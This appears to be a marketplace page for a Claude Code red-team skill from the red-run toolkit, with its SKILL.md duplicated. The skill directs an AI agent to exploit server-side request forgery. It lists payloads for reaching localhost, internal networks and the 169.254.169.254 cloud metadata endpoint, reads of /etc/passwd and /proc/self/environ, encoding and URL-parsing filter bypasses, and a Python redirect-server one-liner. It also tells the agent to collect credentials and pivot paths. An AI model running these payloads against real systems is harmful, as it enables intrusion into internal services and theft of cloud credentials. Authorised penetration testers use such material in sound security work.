/ssrf
Guide server-side request forgery (SSRF) exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill ssrf --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/ssrf
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide server-side request forgery (SSRF) exploitation during authorized penetration testing.
SKILL.md
ssrf.SKILL.mdname: ssrf
description: >
Guide server-side request forgery (SSRF) exploitation during authorized
penetration testing.
keywords:
- SSRF
- server-side request forgery
- URL fetch
- webhook exploit
- cloud metadata
- 169.254.169.254
- IMDS
- internal port scan
- gopher SSRF
- blind SSRF
- SSRF to RCE
- SSRF bypass
- file:// read
- SSRF filter bypass
tools:
- burpsuite
- ssrfmap
- gopherus
- interactsh
opsec: low
Server-Side Request Forgery (SSRF)
You are helping a penetration tester exploit server-side request forgery. The target application accepts a URL or hostname from user input and makes a server-side HTTP request to it. The goal is to access internal services, cloud metadata, local files, or pivot to RCE via internal service exploitation. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[ssrf] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Identified parameter that triggers server-side HTTP requests (URL, webhook,
import, proxy, PDF generator, image fetcher, etc.)
- OOB callback infrastructure for blind SSRF (Burp Collaborator, interactsh, or
custom server)
- If the response is fully reflected, start with basic SSRF. If only status
codes or timing differences are visible, use blind techniques.
**LFI crossover:** If you arrived from the lfi skill because `file_get_contents()` or similar accepts `http://` URLs, the injection point is the same LFI parameter. Use it as a standard SSRF vector — no parameter discovery needed. The LFI context (absolute path reads, known web root) is additional leverage for targeting localhost services.
Step 1: Assess
If not already provided, determine: 1. **Injection point** — which parameter accepts a URL? (url=, src=, href=, redirect=, callback=, webhook=, proxy=, imageUrl=, file=) 2. **Response type** — full response returned? Status only? Blind? 3. **Protocol support** — does it accept only http(s), or also file://, gopher://, dict://? 4. **Filters** — is localhost blocked? Are internal IPs blocked? Allowlist?
Skip if context was already provided.
Step 2: Basic SSRF
Localhost Access
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
http://127.0.0.1:80
http://127.0.0.1:8080
http://127.0.0.1:443
Internal Network Scanning
http://10.0.0.1
http://172.16.0.1
http://192.168.1.1
http://192.168.0.1:8080
Scan common internal ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), 3306 (MySQL), 5432 (PostgreSQL), 6379 (Redis), 8080 (alt HTTP), 8443 (alt HTTPS), 9200 (Elasticsearch), 27017 (MongoDB).
File Read (file:// protocol)
file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ
file:///proc/self/cmdline
file://\/\/etc/passwd
Step 3: Filter Bypass
IPv6 Notation
http://[::]:80/
http://[0000::1]:80/
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]
Domain Redirects to Localhost
| Domain | Resolves To | |---|---| | `localtest.me` | `::1` | | `localh.st` | `127.0.0.1` | | `127.0.0.1.nip.io` | `127.0.0.1` | | `spoofed.redacted.oastify.com` | `127.0.0.1` | | `ip6-localhost` | `::1` (Linux) |
CIDR Range (127.0.0.0/8)
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
Short-Hand IP
http://0/
http://127.1
http://127.0.1
IP Encoding
**Decimal:**
http://2130706433/ = 127.0.0.1
http://2852039166/ = 169.254.169.254
**Hex:**
http://0x7f000001 = 127.0.0.1
http://0xa9fea9fe = 169.254.169.254
**Octal:**
http://0177.0.0.1/ = 127.0.0.1
http://0251.0376.0251.0376 = 169.254.169.254
**Mixed encoding:**
http://0251.254.169.254 = 169.254.169.254 (octal + decimal)
URL Encoding
http://127.0.0.1/%61dmin (single encode)
http://127.0.0.1/%2561dmin (double encode)
URL Parsing Discrepancy
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
http:127.0.0.1/
Different parsers resolve `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/` differently: urllib2 → 1.1.1.1, requests → 2.2.2.2, urllib → 3.3.3.3.
HTTP Redirect Bypass (TOCTOU)
Many URL validators check the initial URL but the underlying HTTP library follows 302/307 redirects without re-validating the destination. This is a Time-of-Check-Time-of-Use (TOCTOU) gap — point the SSRF at your server, which redirects to the internal target.
# Using r3dir.me (no server needed)
https://307.r3dir.me/--to/?url=http://localhost
https://307.r3dir.me/--to/?url=http://169.254.169.254/latest/meta-data/
Or host a Python redirect server on the attackbox:
# Usage: python3 redir.py <target_url> [port]
# Example: python3 redir.py http://127.0.0.1:9001/ 8888
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class R(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[1])
self.end_headers()
def log_message(self, *a): passRead more
name: ssrf description: > Guide server-side request forgery (SSRF) exploitation during authorized penetration testing. keywords: - SSRF - server-side request forgery - URL fetch - webhook exploit - cloud metadata - 169.254.169.254 - IMDS - internal port scan - gopher SSRF - blind SSRF - SSRF to RCE - SSRF bypass - file:// read - SSRF filter bypass tools: - burpsuite - ssrfmap - gopherus - interactsh opsec: low
Server-Side Request Forgery (SSRF)
You are helping a penetration tester exploit server-side request forgery. The target application accepts a URL or hostname from user input and makes a server-side HTTP request to it. The goal is to access internal services, cloud metadata, local files, or pivot to RCE via internal service exploitation. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[ssrf] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Identified parameter that triggers server-side HTTP requests (URL, webhook,
import, proxy, PDF generator, image fetcher, etc.)
- OOB callback infrastructure for blind SSRF (Burp Collaborator, interactsh, or
custom server)
- If the response is fully reflected, start with basic SSRF. If only status
codes or timing differences are visible, use blind techniques.
**LFI crossover:** If you arrived from the lfi skill because `file_get_contents()` or similar accepts `http://` URLs, the injection point is the same LFI parameter. Use it as a standard SSRF vector — no parameter discovery needed. The LFI context (absolute path reads, known web root) is additional leverage for targeting localhost services.
Step 1: Assess
If not already provided, determine: 1. **Injection point** — which parameter accepts a URL? (url=, src=, href=, redirect=, callback=, webhook=, proxy=, imageUrl=, file=) 2. **Response type** — full response returned? Status only? Blind? 3. **Protocol support** — does it accept only http(s), or also file://, gopher://, dict://? 4. **Filters** — is localhost blocked? Are internal IPs blocked? Allowlist?
Skip if context was already provided.
Step 2: Basic SSRF
Localhost Access
http://127.0.0.1 http://localhost http://0.0.0.0 http://[::1] http://127.0.0.1:80 http://127.0.0.1:8080 http://127.0.0.1:443
Internal Network Scanning
http://10.0.0.1 http://172.16.0.1 http://192.168.1.1 http://192.168.0.1:8080
Scan common internal ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), 3306 (MySQL), 5432 (PostgreSQL), 6379 (Redis), 8080 (alt HTTP), 8443 (alt HTTPS), 9200 (Elasticsearch), 27017 (MongoDB).
File Read (file:// protocol)
file:///etc/passwd file:///etc/hostname file:///proc/self/environ file:///proc/self/cmdline file://\/\/etc/passwd
Step 3: Filter Bypass
IPv6 Notation
http://[::]:80/ http://[0000::1]:80/ http://[::ffff:127.0.0.1] http://[0:0:0:0:0:ffff:127.0.0.1]
Domain Redirects to Localhost
| Domain | Resolves To | |---|---| | `localtest.me` | `::1` | | `localh.st` | `127.0.0.1` | | `127.0.0.1.nip.io` | `127.0.0.1` | | `spoofed.redacted.oastify.com` | `127.0.0.1` | | `ip6-localhost` | `::1` (Linux) |
CIDR Range (127.0.0.0/8)
http://127.127.127.127 http://127.0.1.3 http://127.0.0.0
Short-Hand IP
http://0/ http://127.1 http://127.0.1
IP Encoding
**Decimal:**
http://2130706433/ = 127.0.0.1 http://2852039166/ = 169.254.169.254
**Hex:**
http://0x7f000001 = 127.0.0.1 http://0xa9fea9fe = 169.254.169.254
**Octal:**
http://0177.0.0.1/ = 127.0.0.1 http://0251.0376.0251.0376 = 169.254.169.254
**Mixed encoding:**
http://0251.254.169.254 = 169.254.169.254 (octal + decimal)
URL Encoding
http://127.0.0.1/%61dmin (single encode) http://127.0.0.1/%2561dmin (double encode)
URL Parsing Discrepancy
http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/ http:127.0.0.1/
Different parsers resolve `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/` differently: urllib2 → 1.1.1.1, requests → 2.2.2.2, urllib → 3.3.3.3.
HTTP Redirect Bypass (TOCTOU)
Many URL validators check the initial URL but the underlying HTTP library follows 302/307 redirects without re-validating the destination. This is a Time-of-Check-Time-of-Use (TOCTOU) gap — point the SSRF at your server, which redirects to the internal target.
# Using r3dir.me (no server needed) https://307.r3dir.me/--to/?url=http://localhost https://307.r3dir.me/--to/?url=http://169.254.169.254/latest/meta-data/
Or host a Python redirect server on the attackbox:
# Usage: python3 redir.py <target_url> [port]
# Example: python3 redir.py http://127.0.0.1:9001/ 8888
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class R(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[1])
self.end_headers()
def log_message(self, *a): passSecurity assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

